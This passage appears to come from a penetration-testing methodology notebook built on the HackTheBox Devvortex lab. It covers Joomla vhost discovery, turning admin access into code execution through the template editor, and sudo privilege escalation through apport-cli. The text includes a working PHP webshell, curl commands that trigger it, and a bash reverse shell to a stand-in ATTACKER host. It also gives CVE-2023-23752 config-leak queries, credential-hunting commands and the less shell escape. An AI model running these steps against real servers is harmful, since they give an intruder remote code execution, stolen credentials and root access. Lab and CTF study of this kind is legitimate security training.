- Add hits to /etc/hosts, then re-run the entire web methodology against
the new vhost — robots.txt, version disclosure, directory brute-force
If it fails
- Check the TLS certificate SANs and any Location: redirect headers for hostnames
- Grep page source and JS bundles for hardcoded hostnames
- Pattern from: HTB Devvortex — apex was static;
dev.devvortex.htbheld Joomla.
CMS Admin Panel ⇒ Assume RCE (template/theme file editor)¶
Why — PHP CMS platforms render templates as executable PHP and ship a
template file editor in the admin UI by design. Write access to a .php file
on a PHP-executing server is code execution. This is not a CVE — it is the
application working as documented. The actual vulnerability is whatever got you
the admin password.
Applies to: Joomla (Site Templates), WordPress (Appearance → Theme Editor), Drupal, Magento, phpMyAdmin.
Command — Joomla 4.x
System → Site Templates → <Template> Details and Files → error.php
NOT "Site Template STYLES" (config only, no editor)
Direct: /administrator/index.php?option=com_templates&view=templates
<?php if(isset($_GET['cmd'])) { system($_GET['cmd']); exit; } ?>
curl -s 'http://TARGET/bogus404?cmd=id'
curl -s -G 'http://TARGET/bogus404' \
--data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/ATTACKER/9001 0>&1"'
Flags/Notes
- Target error.php, not index.php. index.php is frequently not writable
(save fails) — writability is per-file, try each one. error.php also only
renders on 404s, so the live site stays intact and any bogus URL triggers it
- isset() gate — without it every 404 runs system(null), throwing PHP
warnings and visibly mangling the error page. Gate = stability + stealth
- system() echoes output into the response body · exec() returns last line,
prints nothing · shell_exec() returns a string, needs echo · passthru() for binary
- exit; stops the error page burying your output
- Default Joomla 4 template is Cassiopeia
- Log every artifact you drop. An un-reverted webshell is a finding against you
Getting the admin password — Joomla 4.0.0–4.2.7 (CVE-2023-23752)
curl -s http://TARGET/administrator/manifests/files/joomla.xml | grep -i version
curl -s 'http://TARGET/api/index.php/v1/config/application?public=true' | jq
# PAGINATE — secret/mailfrom are on page 2
curl -s 'http://TARGET/api/index.php/v1/config/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20' | jq
Post-foothold — creds are always on disk
cat /etc/nginx/sites-enabled/* # 'root' directive → webroot
find /var/www -name configuration.php 2>/dev/null # wp-config.php / .env / settings.py
An app authenticating to its DB on every request with no human present must store that secret in a file the web user can read. Find the config, find the creds.
Joomla randomises the table prefix (sd4fg_) — you need configuration.php to
know it. Joomla 4 stores bcrypt → hashcat -m 3200.
- Pattern from: HTB Devvortex — Joomla 4.2.6 API leak → admin → Cassiopeia error.php → www-data.
GTFOBins "Inherit" — the escape lives in a child process¶
Why — GTFOBins organises by where the escape lives, not how you get privilege. A page with no Sudo/SUID section, only Inherit, is still a full escape: the binary has nothing exploitable in itself, but it spawns a child that does, and a child inherits its parent's privileges.
| Section | Meaning |
|---|---|
| Shell / Sudo / SUID | escape built into the binary |
| Inherit | binary shells out to something else — that child is the escape |
The "Unprivileged" tag describes the trigger (any user can reach the
child), not the outcome. You supply the sudo.
Triage when sudo -l hands you a binary
1. GTFOBins — take Inherit as seriously as Sudo/Shell
2. <binary> --version → CVE search. Version-first beats guessing
3. Ask what does it shell out to? Pagers (less, more), editors
(vi, nano), $PAGER/$EDITOR handoffs, git/man/systemctl subprocesses
Most sudo privescs are one of three shapes: spawns a shell, spawns a pager/editor you can escape, or reads a file you control.
Command — sudo apport-cli (CVE-2023-1326)
sudo -l # (ALL : ALL) /usr/bin/apport-cli
/usr/bin/apport-cli --version # 2.20.11
ls -la /var/crash/ # need a .crash file
sleep 300 & kill -SIGSEGV $! # generate one if empty (apport hooks SIGSEGV)
sudo /usr/bin/apport-cli -c /var/crash/<file>.crash
# choose V (View report) → screen fills, ':' prompt appears = that's less
!/bin/bash
Flags/Notes
- Apport is Ubuntu's crash reporter (not backup) — it pages reports through less
- -c PATH — specific crash file rather than scanning pending ones. Deterministic
- Pager only engages when output exceeds one screen; short output dumps and exits
- ! — less's "run a shell command". Editors: :!/bin/bash in vi
- Full path /bin/bash — sudoers secure_path constrains PATH
- ERROR: Cannot update /var/crash/...: Permission denied is cosmetic. Check
id before concluding failure
- Rehearse interactive exploits without sudo first to learn the menu flow,
then fire for real. Costs nothing; avoids fumbling a one-shot primitive in
front of a client
If it fails
- Report too short → shrink the terminal, or pick a menu path with more output
- ! echoed literally → you're not in less; look for the : prompt
- Root shell not spawning → confirm sudo was on apport-cli itself
- Fall back to less's v (invokes $EDITOR) as a second escape route
- Pattern from: HTB Devvortex — logan had
(ALL : ALL) /usr/bin/apport-cli.